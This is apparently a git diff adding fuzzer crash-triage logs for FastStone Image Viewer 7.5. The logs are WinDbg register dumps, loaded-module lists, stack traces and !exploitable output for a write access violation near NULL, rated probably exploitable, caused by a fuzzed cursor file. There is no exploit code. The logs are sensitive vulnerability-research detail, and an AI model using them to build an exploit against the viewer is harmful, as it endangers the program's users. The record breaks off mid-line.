ecx=07e47b19 edx=00000000 esi=00000000 edi=07c4afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.715714303862129760000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.45776e-005 3.41279e+019 2.81528e-030 -5.81041e+026 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f28130 07ea5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003d6000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003d6000 9ca3dc4d 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629a 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003d6000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22022/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22022/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..6ab0ea1 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22022/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1024: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1024: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1024.10f8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e47b19 edx=00000000 esi=00000000 edi=07c4afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.715714303862129760000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.45776e-005 3.41279e+019 2.81528e-030 -5.81041e+026 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f28130 07ea5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003d6000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003d6000 9ca3dc4d 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629a 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003d6000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22022/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22022/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22022/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22260/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22260/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22260/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22260/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22260/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..237fb33 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22260/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22260/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22260/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..27a9046 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22260/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x12BC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x12BC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(12bc.1cf8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07dd7b19 edx=00000000 esi=00000000 edi=0fcc0fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.696011055487796320000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-6.49164e+008 1.36605e-027 1.67181e-018 1.52717e-006 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr 